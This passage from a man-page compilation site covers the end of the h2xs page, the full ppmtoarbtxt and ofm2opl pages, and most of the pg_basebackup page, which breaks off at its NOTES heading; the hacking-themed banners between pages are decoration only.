If regular expression is not given, skip all constants that are defined in a C enumeration. Otherwise skip only those constants that are defined in an enum whose name matches regular expression. Since regular expression is optional, make sure that this switch is followed by at least one other switch if you omit regular expression and have some pending arguments such as header-file names. This is ok: h2xs -e -n Module::Foo foo.h This is not ok: h2xs -n Module::Foo -e foo.h In the latter, foo.h is taken as regular expression.

-f, –force
Allows an extension to be created for a header even if that header is not found in standard include directories.

-g, –global
Include code for safely storing static data in the .xs file. Extensions that do no make use of static data can ignore this option.

-h, -?, –help
Print the usage, help and version for this h2xs and exit.

-k, –omit-const-func
For function arguments declared as const, omit the const attribute in the generated XS code.

-m, –gen-tied-var
Experimental: for each variable declared in the header file(s), declare a perl variable of the same name magically tied to the C variable.

-n, –name=module_name
Specifies a name to be used for the extension, e.g., -n RPC::DCE

-o, –opaque-re=regular expression
Use “opaque” data type for the C types matched by the regular expression, even if these types are typedef-equivalent to types from typemaps. Should not be used without -x. This may be useful since, say, types which are typedef-equivalent to integers may represent OS-related handles, and one may want to work with these handles in OO-way, as in $handle->do_something(). Use -o . if you want to handle all the typedefed types as opaque types. The type-to-match is whitewashed (except for commas, which have no whitespace before them, and multiple * which have no whitespace between them).

-p, –remove-prefix=prefix
Specify a prefix which should be removed from the Perl function names, e.g., -p sec_rgy_ This sets up the XS PREFIX keyword and removes the prefix from functions that are autoloaded via the constant() mechanism.

-s, –const-subs=sub1,sub2
Create a perl subroutine for the specified macros rather than autoload with the constant() subroutine. These macros are assumed to have a return type of char *, e.g., -s sec_rgy_wildcard_name,sec_rgy_wildcard_sid.

-t, –default-type=type
Specify the internal type that the constant() mechanism uses for macros. The default is IV (signed integer). Currently all macros found during the header scanning process will be assumed to have this type. Future versions of h2xs may gain the ability to make educated guesses.

–use-new-tests
When –compat-version (-b) is present the generated tests will use Test::More rather than Test which is the default for versions before 5.6.2. Test::More will be added to PREREQ_PM in the generated Makefile.PL.

–use-old-tests
Will force the generation of test code that uses the older Test module.

–skip-exporter
Do not use Exporter and/or export any symbol.

–skip-ppport
Do not use Devel::PPPort: no portability to older version.

–skip-autoloader
Do not use the module AutoLoader; but keep the constant() function and sub AUTOLOAD for constants.

–skip-strict
Do not use the pragma strict.

–skip-warnings
Do not use the pragma warnings.

-v, –version=version
Specify a version number for this extension. This version number is added to the templates. The default is 0.01, or 0.00_01 if -B is specified. The version specified should be numeric.

-x, –autogen-xsubs
Automatically generate XSUBs basing on function declarations in the header file. The package C::Scan should be installed. If this option is specified, the name of the header file may look like NAME1,NAME2. In this case NAME1 is used instead of the specified string, but XSUBs are emitted only for the declarations included from file NAME2. Note that some types of arguments/return-values for functions may result in XSUB-declarations/typemap-entries which need hand-editing. Such may be objects which cannot be converted from/to a pointer (like long long), pointers to functions, or arrays. See also the section on “LIMITATIONS of -x”.

EXAMPLES

# Default behavior, extension is Rusers h2xs rpcsvc/rusers # Same, but extension is RUSERS h2xs -n RUSERS rpcsvc/rusers # Extension is rpcsvc::rusers. Still finds <rpcsvc/rusers.h> h2xs rpcsvc::rusers # Extension is ONC::RPC. Still finds <rpcsvc/rusers.h> h2xs -n ONC::RPC rpcsvc/rusers # Without constant() or AUTOLOAD h2xs -c rpcsvc/rusers # Creates templates for an extension named RPC h2xs -cfn RPC # Extension is ONC::RPC. h2xs -cfn ONC::RPC # Extension is a pure Perl module with no XS code. h2xs -X My::Module # Extension is Lib::Foo which works at least with Perl5.005_03. # Constants are created for all #defines and enums h2xs can find # in foo.h. h2xs -b 5.5.3 -n Lib::Foo foo.h # Extension is Lib::Foo which works at least with Perl5.005_03. # Constants are created for all #defines but only for enums # whose names do not start with bar_. h2xs -b 5.5.3 -e ^bar_ -n Lib::Foo foo.h # Makefile.PL will look for library -lrpc in # additional directory /opt/net/lib h2xs rpcsvc/rusers -L/opt/net/lib -lrpc # Extension is DCE::rgynbase # prefix “sec_rgy_” is dropped from perl function names h2xs -n DCE::rgynbase -p sec_rgy_ dce/rgynbase # Extension is DCE::rgynbase # prefix “sec_rgy_” is dropped from perl function names # subroutines are created for sec_rgy_wildcard_name and # sec_rgy_wildcard_sid h2xs -n DCE::rgynbase -p sec_rgy_ \ -s sec_rgy_wildcard_name,sec_rgy_wildcard_sid dce/rgynbase # Make XS without defines in perl.h, but with function declarations # visible from perl.h. Name of the extension is perl1. # When scanning perl.h, define -DEXT=extern -DdEXT= -DINIT(x)= # Extra backslashes below because the string is passed to shell. # Note that a directory with perl header files would # be added automatically to include path. h2xs -xAn perl1 -F “-DEXT=extern -DdEXT= -DINIT\x=” perl.h # Same with function declaration in proto.h as visible from perl.h. h2xs -xAn perl2 perl.h,proto.h # Same but select only functions which match /^av_/ h2xs -M ^av_ -xAn perl2 perl.h,proto.h # Same but treat SV* etc as “opaque” types h2xs -o ^[S]V $ -M ^av_ -xAn perl2 perl.h,proto.h

Extension based on .h and .c files

Suppose that you have some C files implementing some functionality, and the corresponding header files. How to create an extension which makes this functionality accessible in Perl? The example below assumes that the header files are interface_simple.h and interface_hairy.h, and you want the perl module be named as Ext::Ension. If you need some preprocessor directives and/or linking with external libraries, see the flags -F, -L and -l in “OPTIONS”.

Find the directory name
Start with a dummy run of h2xs: h2xs -Afn Ext::Ension The only purpose of this step is to create the needed directories, and let you know the names of these directories. From the output you can see that the directory for the extension is Ext/Ension.

Copy C files
Copy your header files and C files to this directory Ext/Ension.

Create the extension
Run h2xs, overwriting older autogenerated files: h2xs -Oxan Ext::Ension interface_simple.h interface_hairy.h h2xs looks for header files after changing to the extension directory, so it will find your header files OK.

Archive and test
As usual, run cd Ext/Ension perl Makefile.PL make dist make make test

Hints
It is important to do make dist as early as possible. This way you can easily merge (1) your changes to autogenerated files if you decide to edit your .h files and rerun h2xs. Do not forget to edit the documentation in the generated .pm file. Consider the autogenerated files as skeletons only, you may invent better interfaces than what h2xs could guess. Consider this section as a guideline only, some other options of h2xs may better suit your needs.

ENVIRONMENT

No environment variables are used.

AUTHOR

Larry Wall and others

SEE ALSO

perl, perlxstut, ExtUtils::MakeMaker, and AutoLoader.

DIAGNOSTICS

The usual warnings if it cannot read or write the files involved.

LIMITATIONS of -x

h2xs would not distinguish whether an argument to a C function which is of the form, say, int *, is an input, output, or input/output parameter. In particular, argument declarations of the form

int foo(n) int *n

should be better rewritten as

int foo(n) int &n

if n is an input parameter.

Additionally, h2xs has no facilities to intuit that a function

int foo(addr,l) char *addr int l

takes a pair of address and length of data at this address, so it is better to rewrite this function as

int foo(sv) SV *addr PREINIT: STRLEN len; char *s; CODE: s = SvPV(sv,len); RETVAL = foo(s, len); OUTPUT: RETVAL

or alternately

static int my_foo(SV *sv) { STRLEN len; char *s = SvPV(sv,len); return foo(s, len); } MODULE = foo PACKAGE = foo PREFIX = my_ int foo(sv) SV *sv

See perlxs and perlxstut for additional details.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

265 - Linux cli command ppmtoarbtxt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoarbtxt and provides detailed information about the command ppmtoarbtxt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoarbtxt.

.

NAME 🖥️ ppmtoarbtxt 🖥️

generate image in arbitrary text format from PPM image

SYNOPSIS

ppmtoarbtxt bodytmpl [-hd headtmpl] [-tl tailtmpl] [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoarbtxt generates simple text-based graphics formats based on format descriptions given as input. A text-based graphics format is one in which an image is represented by text (like PNM plain format, but unlike PNM raw format).

ppmtoarbtxt reads a PPM image as input. For each pixel in the image, ppmtoarbtxt writes the contents of the template file bodytmpl, with certain substitutions based on the value of the pixel, to Standard Output.

You may also supply a head template file, in which case ppmtoarbtxt generates text from the template file, based on the image dimensions, and includes it in the output before anything else.

Likewise, you may supply a tail template file to cause text to be placed at the end of the output.

Template Files

The text that ppmtoarbtxt generates from a template file is the literal text of the template file, except with substitution specifier replaced with something else. The program recognizes a substitution specifier as text of the form #().

ppmtoarbtxt treats white space in the template files the same as any other characters, placing it in the output, with one exception: If the template file ends with a newline character, ppmtoarbtxt ignores it – it does not include it in the output.

Many substitution specifiers use format strings (another form of template) to specify the substitution. You should make these format strings as minimal as possible, placing literal text outside the substitution specifier instead of inside the format string. For example,

Wrong: #(flum %%%2.2f 0 1)

Right: %#(flum %2.2f 0 1)

The valid substitution specifiers are as follows. Text that has the form of a substitution specifier but is not actually valid (e.g. #(random junk) usually just specifies its literal value, but if it is close enough to something valid, ppmtoarbtxt assumes you made a mistake and fails.

Useful in a body template, to do substitutions based on a particular pixel:

#(ired format blackref whiteref**)**
generates an integer in the range blackref to whiteref in a format specified by format representing the red intensity of the pixel. A red intensity of 0 becomes blackref; a red intensity of maxval becomes whiteref, with the rest linearly interpolated in between.

format is a printf-like format specifier like “%d”. ppmtoarbtxt uses as the entire format string to a fprintf POSIX library call whose only other argument is the red itensity as an integer data type. ppmtoarbtxt does not necessarily verify that your format string makes sense; there are values you could specify that could even crash the program. To avoid unexpected behavior, keep format strings simple and hardcoded, and never include a per cent sign or newline.

#(ired) is equivalent to #(ired %d 0 255).

#(igreen format blackref whiteref**)**
Same as #(ired…, but for green.

#(iblue format blackref whiteref**)**
Same as #(ired…, but for blue.

#(ilum format blackref whiteref**)**
Same as #(ired…, but representing the luminance value (0.299*red + 0.587*green + 0.114*blue) of the pixel.

#(fred format blackref whiteref**)**
Same as #(ired…, but generates a floating point number instead of an integer.

In this case, the second argument to the fprintf that uses format has a double precision floating point data type.

#(fred) is equivalent to #(fred %f 0.0 1.0).

#(fgreen format blackref whiteref**)**
Same as #(fred…, but for green.

#(fblue format blackref whiteref**)**
Same as #(fred…, but for blue.

#(flum format blackref whiteref**)**
Same as #(fred…, but representing the luminance value (0.299*red + 0.587*green + 0.114*blue) of the pixel.

#(posx format**)**
Generates the horizontal position of the pixel, in pixels from the left edge of the image.

The second argument to the fprintf that uses format has an unsigned integer data type.

format defaults to %u

#(posy format**)**
Same as #(width…, but for the vertical position.

If you use any of the above substitution specifiers in a head or tail template, the result is undefined.

Useful in a head or tail template, to do substitutions based on whole-image attributes:

#(width format**)**
Generates the width in pixels of the image.

The second argument to the fprintf that uses format has an unsigned integer data type.

format defaults to %u

#(height format**)**
Same as #(width…, but for the height of the image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoarbtxt recognizes the following command line options:

-hd headtmpl
This option specifies a head template (headtmpl is the name of the head template file); it causes ppmtoarbtxt to place the contents of the file named headtmpl at the beginning of the output

-tl tailtmpl
This option specifies a tail template; it is analogous to -hd.

EXAMPLES

gray inversion

Here we generate a PGM plain-format image with gray inversion (like ppmtopgm | pnminvert).

Contents of our head template file:

P2
#(width) #(height)
255

Contents of our body skeleton file:

#(ilum %d 255 0)

povray file

Here we generate a povray file where each pixel is represented by a sphere at location (x,y,z) = (posx,height-posy,luminance). The color of the sphere is the color of the pixel.

Contents of our head skeleton:

#include "colors.inc"
#include "textures.inc"
camera {
   location  <#(width) * 0.6, #(height) * 0.7, 80>
   look_at   <#(width) * 0.5, #(height) * 0.5, 0>
}

light_source { <#(width) * 0.5, #(height) * 0.5, 25> color White
}

Contents of our body skeleton:

sphere { <#(posx),#(height)-#(posy),#(ilum %d 0 10)>, 0.5
  texture {
    pigment {
      color rgb <#(fred),#(fgreen),#(fblue)>
    }
    finish {
      phong 1
    }
  }
}

SEE ALSO

pnmtoplainpnm(1) pamtable(1) ppm(1)

HISTORY

ppmtoarbtxt was added to Netpbm in Release 10.14 (March 2003). It existed under the name ppmtotxt since 1995.

AUTHOR

Copyright (C) 1995 by Peter Kirchgessner

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoarbtxt.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

266 - Linux cli command ofm2opl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ofm2opl and provides detailed information about the command ofm2opl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ofm2opl.

NAME 🖥️ ofm2opl 🖥️

convert Omega and TeX font-metric files to property-list files

SYNOPSIS

ofm2opl [options] ofmname[.ofm] [oplfile[.opl]]

DESCRIPTION

ofm2opl translates a binary Omega Font Metrics file, ofmname, into a human-readable property-list form. The program writes to standard output (by default) or to a file specified as oplfile.

The program also works with TeX TFM files, producing TeX PL files.

OPTIONS

(Same as ovf2ovp).

-charcode-format=type
output character codes according to type, either `hex’, `octal’ or `ascii’. Default is `hex’; `ascii’ says to use ASCII for letters and digits, hex for all else.

-char-format=stype
output character codes according to stype, either `num’ or `ascii’. Default is `num’; `ascii’ as in -charcode-format. (These two redundant options both exist only for historical compatibility.)

-num-format=ntype
output numbers according to ntype, either `hex’ or `octal’; default is hex.

-text-format=ttype
output coding scheme and family according to ttype, either `mixed’ or `upper’ case; default is mixed.

-help
display a brief summary of syntax and options

-verbose
display progress reports

-version
output version information and exit

FILES

OFMNAME
an Omega Font Metric file

OPLFILE
an Omega Property List file

BUGS

Email bug reports to <https://lists.tug.org/tex-k> (mailing list); good to check if the same bug is present in tftopl(1).

General discussion of Omega (and Aleph) can take place on the <https://lists.tug.org/omega> mailing list.

SEE ALSO

omega(1), aleph(1), opl2ofm(1), pltotf(1), tftopl(1).

AUTHOR

According to the WEB documentation:

The first TFtoPL program was designed by Leo Guibas in the summer of 1978. Contributions by Frank Liang, Doug Wyatt, and Lyle Ramshaw also had a significant effect on the evolution of the present code.

Extensions for an enhanced ligature mechanism were added by D.E. Knuth in 1989.

Extensions to handle extended font metric files (``OFM’’) were added by John Plaice in December 1995 and January 1996, resulting in the new program OFM2OPL.

ofm2opl is based on the WEB source code for tftopl(1), although nowadays it is a link to omfonts, implemented entirely in C.

The primary authors of Omega were John Plaice and Yannis Haralambous. Omega (and Aleph) are now maintained as part of TeX Live.

This manual page was written by C.M. Connelly for the Debian GNU/Linux system. It is also now maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

267 - Linux cli command pg_basebackup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_basebackup and provides detailed information about the command pg_basebackup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_basebackup.

NAME 🖥️ pg_basebackup 🖥️

take a base backup of a PostgreSQL cluster

SYNOPSIS

pg_basebackup [option…]

DESCRIPTION

pg_basebackup is used to take a base backup of a running PostgreSQL database cluster. The backup is taken without affecting other clients of the database, and can be used both for point-in-time recovery (see Section 26.3) and as the starting point for a log-shipping or streaming-replication standby server (see Section 27.2).

pg_basebackup makes an exact copy of the database clusters files, while making sure the server is put into and out of backup mode automatically. Backups are always taken of the entire database cluster; it is not possible to back up individual databases or database objects. For selective backups, another tool such as pg_dump(1) must be used.

The backup is made over a regular PostgreSQL connection that uses the replication protocol. The connection must be made with a user ID that has REPLICATION permissions (see Section 22.2) or is a superuser, and pg_hba.conf must permit the replication connection. The server must also be configured with max_wal_senders set high enough to provide at least one walsender for the backup plus one for WAL streaming (if used).

There can be multiple pg_basebackups running at the same time, but it is usually better from a performance point of view to take only one backup, and copy the result.

pg_basebackup can make a base backup from not only a primary server but also a standby. To take a backup from a standby, set up the standby so that it can accept replication connections (that is, set max_wal_senders and hot_standby, and configure its pg_hba.conf appropriately). You will also need to enable full_page_writes on the primary.

Note that there are some limitations in taking a backup from a standby:

·

The backup history file is not created in the database cluster backed up.

·

pg_basebackup cannot force the standby to switch to a new WAL file at the end of backup. When you are using -X none, if write activity on the primary is low, pg_basebackup may need to wait a long time for the last WAL file required for the backup to be switched and archived. In this case, it may be useful to run pg_switch_wal on the primary in order to trigger an immediate WAL file switch.

·

If the standby is promoted to be primary during backup, the backup fails.

·

All WAL records required for the backup must contain sufficient full-page writes, which requires you to enable full_page_writes on the primary.

Whenever pg_basebackup is taking a base backup, the servers pg_stat_progress_basebackup view will report the progress of the backup. See Section 28.4.6 for details.

OPTIONS

The following command-line options control the location and format of the output:

-D directory
**–pgdata=**directory

Sets the target directory to write the output to. pg_basebackup will create this directory (and any missing parent directories) if it does not exist. If it already exists, it must be empty.

When the backup is in tar format, the target directory may be specified as - (dash), causing the tar file to be written to stdout.

This option is required.

-F format
**–format=**format

Selects the format for the output. format can be one of the following:

p
plain

Write the output as plain files, with the same layout as the source servers data directory and tablespaces. When the cluster has no additional tablespaces, the whole database will be placed in the target directory. If the cluster contains additional tablespaces, the main data directory will be placed in the target directory, but all other tablespaces will be placed in the same absolute path as they have on the source server. (See –tablespace-mapping to change that.)

This is the default format.

t
tar

Write the output as tar files in the target directory. The main data directorys contents will be written to a file named base.tar, and each other tablespace will be written to a separate tar file named after that tablespaces OID.

If the target directory is specified as - (dash), the tar contents will be written to standard output, suitable for piping to (for example) gzip. This is only allowed if the cluster has no additional tablespaces and WAL streaming is not used.

-R
–write-recovery-conf

Creates a standby.signal

file and appends connection settings to the postgresql.auto.conf file in the target directory (or within the base archive file when using tar format). This eases setting up a standby server using the results of the backup.

The postgresql.auto.conf file will record the connection settings and, if specified, the replication slot that pg_basebackup is using, so that streaming replication will use the same settings later on.

-t target
**–target=**target

Instructs the server where to place the base backup. The default target is client, which specifies that the backup should be sent to the machine where pg_basebackup is running. If the target is instead set to server:/some/path, the backup will be stored on the machine where the server is running in the /some/path directory. Storing a backup on the server requires superuser privileges or having privileges of the pg_write_server_files role. If the target is set to blackhole, the contents are discarded and not stored anywhere. This should only be used for testing purposes, as you will not end up with an actual backup.

Since WAL streaming is implemented by pg_basebackup rather than by the server, this option cannot be used together with -Xstream. Since that is the default, when this option is specified, you must also specify either -Xfetch or -Xnone.

-T olddir**=**newdir
**–tablespace-mapping=olddir=**newdir

Relocates the tablespace in directory olddir to newdir during the backup. To be effective, olddir must exactly match the path specification of the tablespace as it is defined on the source server. (But it is not an error if there is no tablespace in olddir on the source server.) Meanwhile newdir is a directory in the receiving hosts filesystem. As with the main target directory, newdir need not exist already, but if it does exist it must be empty. Both olddir and newdir must be absolute paths. If either path needs to contain an equal sign (=), precede that with a backslash. This option can be specified multiple times for multiple tablespaces.

If a tablespace is relocated in this way, the symbolic links inside the main data directory are updated to point to the new location. So the new data directory is ready to be used for a new server instance with all tablespaces in the updated locations.

Currently, this option only works with plain output format; it is ignored if tar format is selected.

**–waldir=**waldir

Sets the directory to write WAL (write-ahead log) files to. By default WAL files will be placed in the pg_wal subdirectory of the target directory, but this option can be used to place them elsewhere. waldir must be an absolute path. As with the main target directory, waldir need not exist already, but if it does exist it must be empty. This option can only be specified when the backup is in plain format.

-X method
**–wal-method=**method

Includes the required WAL (write-ahead log) files in the backup. This will include all write-ahead logs generated during the backup. Unless the method none is specified, it is possible to start a postmaster in the target directory without the need to consult the WAL archive, thus making the output a completely standalone backup.

The following methods for collecting the write-ahead logs are supported:

n
none

Dont include write-ahead logs in the backup.

f
fetch

The write-ahead log files are collected at the end of the backup. Therefore, it is necessary for the source servers wal_keep_size parameter to be set high enough that the required log data is not removed before the end of the backup. If the required log data has been recycled before its time to transfer it, the backup will fail and be unusable.

When tar format is used, the write-ahead log files will be included in the base.tar file.

s
stream

Stream write-ahead log data while the backup is being taken. This method will open a second connection to the server and start streaming the write-ahead log in parallel while running the backup. Therefore, it will require two replication connections not just one. As long as the client can keep up with the write-ahead log data, using this method requires no extra write-ahead logs to be saved on the source server.

When tar format is used, the write-ahead log files will be written to a separate file named pg_wal.tar (if the server is a version earlier than 10, the file will be named pg_xlog.tar).

This value is the default.

-z
–gzip

Enables gzip compression of tar file output, with the default compression level. Compression is only available when using the tar format, and the suffix .gz will automatically be added to all tar filenames.

-Z level
-Z [{client|server}-]method[:detail]
**–compress=**level
–compress=[{client|server}-]method[:detail]

Requests compression of the backup. If client or server is included, it specifies where the compression is to be performed. Compressing on the server will reduce transfer bandwidth but will increase server CPU consumption. The default is client except when –target is used. In that case, the backup is not being sent to the client, so only server compression is sensible. When -Xstream, which is the default, is used, server-side compression will not be applied to the WAL. To compress the WAL, use client-side compression, or specify -Xfetch.

The compression method can be set to gzip, lz4, zstd, none for no compression or an integer (no compression if 0, gzip if greater than 0). A compression detail string can optionally be specified. If the detail string is an integer, it specifies the compression level. Otherwise, it should be a comma-separated list of items, each of the form keyword or keyword=value. Currently, the supported keywords are level, long, and workers. The detail string cannot be used when the compression method is specified as a plain integer.

If no compression level is specified, the default compression level will be used. If only a level is specified without mentioning an algorithm, gzip compression will be used if the level is greater than 0, and no compression will be used if the level is 0.

When the tar format is used with gzip, lz4, or zstd, the suffix .gz, .lz4, or .zst, respectively, will be automatically added to all tar filenames. When the plain format is used, client-side compression may not be specified, but it is still possible to request server-side compression. If this is done, the server will compress the backup for transmission, and the client will decompress and extract it.

When this option is used in combination with -Xstream, pg_wal.tar will be compressed using gzip if client-side gzip compression is selected, but will not be compressed if any other compression algorithm is selected, or if server-side compression is selected.

The following command-line options control the generation of the backup and the invocation of the program:

-c {fast|spread}
–checkpoint={fast|spread}

Sets checkpoint mode to fast (immediate) or spread (the default) (see Section 26.3.3).

-C
–create-slot

Specifies that the replication slot named by the –slot option should be created before starting the backup. An error is raised if the slot already exists.

-l label
**–label=**label

Sets the label for the backup. If none is specified, a default value of “pg_basebackup base backup” will be used.

-n
–no-clean

By default, when pg_basebackup aborts with an error, it removes any directories it might have created before discovering that it cannot finish the job (for example, the target directory and write-ahead log directory). This option inhibits tidying-up and is thus useful for debugging.

Note that tablespace directories are not cleaned up either way.

-N
–no-sync

By default, pg_basebackup will wait for all files to be written safely to disk. This option causes pg_basebackup to return without waiting, which is faster, but means that a subsequent operating system crash can leave the base backup corrupt. Generally, this option is useful for testing but should not be used when creating a production installation.

-P
–progress

Enables progress reporting. Turning this on will deliver an approximate progress report during the backup. Since the database may change during the backup, this is only an approximation and may not end at exactly 100%. In particular, when WAL log is included in the backup, the total amount of data cannot be estimated in advance, and in this case the estimated target size will increase once it passes the total estimate without WAL.

-r rate
**–max-rate=**rate

Sets the maximum transfer rate at which data is collected from the source server. This can be useful to limit the impact of pg_basebackup on the server. Values are in kilobytes per second. Use a suffix of M to indicate megabytes per second. A suffix of k is also accepted, and has no effect. Valid values are between 32 kilobytes per second and 1024 megabytes per second.

This option always affects transfer of the data directory. Transfer of WAL files is only affected if the collection method is fetch.

-S slotname
**–slot=**slotname

This option can only be used together with -X stream. It causes WAL streaming to use the specified replication slot. If the base backup is intended to be used as a streaming-replication standby using a replication slot, the standby should then use the same replication slot name as primary_slot_name. This ensures that the primary server does not remove any necessary WAL data in the time between the end of the base backup and the start of streaming replication on the new standby.

The specified replication slot has to exist unless the option -C is also used.

If this option is not specified and the server supports temporary replication slots (version 10 and later), then a temporary replication slot is automatically used for WAL streaming.

-v
–verbose

Enables verbose mode. Will output some extra steps during startup and shutdown, as well as show the exact file name that is currently being processed if progress reporting is also enabled.

**–manifest-checksums=**algorithm

Specifies the checksum algorithm that should be applied to each file included in the backup manifest. Currently, the available algorithms are NONE, CRC32C, SHA224, SHA256, SHA384, and SHA512. The default is CRC32C.

If NONE is selected, the backup manifest will not contain any checksums. Otherwise, it will contain a checksum of each file in the backup using the specified algorithm. In addition, the manifest will always contain a SHA256 checksum of its own contents. The SHA algorithms are significantly more CPU-intensive than CRC32C, so selecting one of them may increase the time required to complete the backup.

Using a SHA hash function provides a cryptographically secure digest of each file for users who wish to verify that the backup has not been tampered with, while the CRC32C algorithm provides a checksum that is much faster to calculate; it is good at catching errors due to accidental changes but is not resistant to malicious modifications. Note that, to be useful against an adversary who has access to the backup, the backup manifest would need to be stored securely elsewhere or otherwise verified not to have been modified since the backup was taken.

pg_verifybackup(1) can be used to check the integrity of a backup against the backup manifest.

–manifest-force-encode

Forces all filenames in the backup manifest to be hex-encoded. If this option is not specified, only non-UTF8 filenames are hex-encoded. This option is mostly intended to test that tools which read a backup manifest file properly handle this case.

–no-estimate-size

Prevents the server from estimating the total amount of backup data that will be streamed, resulting in the backup_total column in the pg_stat_progress_basebackup view always being NULL.

Without this option, the backup will start by enumerating the size of the entire database, and then go back and send the actual contents. This may make the backup take slightly longer, and in particular it will take longer before the first data is sent. This option is useful to avoid such estimation time if its too long.

This option is not allowed when using –progress.

–no-manifest

Disables generation of a backup manifest. If this option is not specified, the server will generate and send a backup manifest which can be verified using pg_verifybackup(1). The manifest is a list of every file present in the backup with the exception of any WAL files that may be included. It also stores the size, last modification time, and an optional checksum for each file.

–no-slot

Prevents the creation of a temporary replication slot for the backup.

By default, if log streaming is selected but no slot name is given with the -S option, then a temporary replication slot is created (if supported by the source server).

The main purpose of this option is to allow taking a base backup when the server has no free replication slots. Using a replication slot is almost always preferred, because it prevents needed WAL from being removed by the server during the backup.

–no-verify-checksums

Disables verification of checksums, if they are enabled on the server the base backup is taken from.

By default, checksums are verified and checksum failures will result in a non-zero exit status. However, the base backup will not be removed in such a case, as if the –no-clean option had been used. Checksum verification failures will also be reported in the pg_stat_database view.

The following command-line options control the connection to the source server:

-d connstr
**–dbname=**connstr

Specifies parameters used to connect to the server, as a connection string; these will override any conflicting command line options.

The option is called –dbname for consistency with other client applications, but because pg_basebackup doesnt connect to any particular database in the cluster, any database name in the connection string will be ignored.

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for a Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-s interval
**–status-interval=**interval

Specifies the number of seconds between status packets sent back to the source server. Smaller values allow more accurate monitoring of backup progress from the server. A value of zero disables periodic status updates completely, although an update will still be sent when requested by the server, to avoid timeout-based disconnects. The default value is 10 seconds.

-U username
**–username=**username

Specifies the user name to connect as.

-w
–no-password

Prevents issuing a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Forces pg_basebackup to prompt for a password before connecting to the source server.

This option is never essential, since pg_basebackup will automatically prompt for a password if the server demands password authentication. However, pg_basebackup will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

Other options are also available:

-V
–version

Prints the pg_basebackup version and exits.

-?
–help

Shows help about pg_basebackup command line arguments, and exits.

ENVIRONMENT

This utility, like most other PostgreSQL utilities, uses the environment variables supported by libpq (see Section 34.15).

The environment variable PG_COLOR specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

NOTES

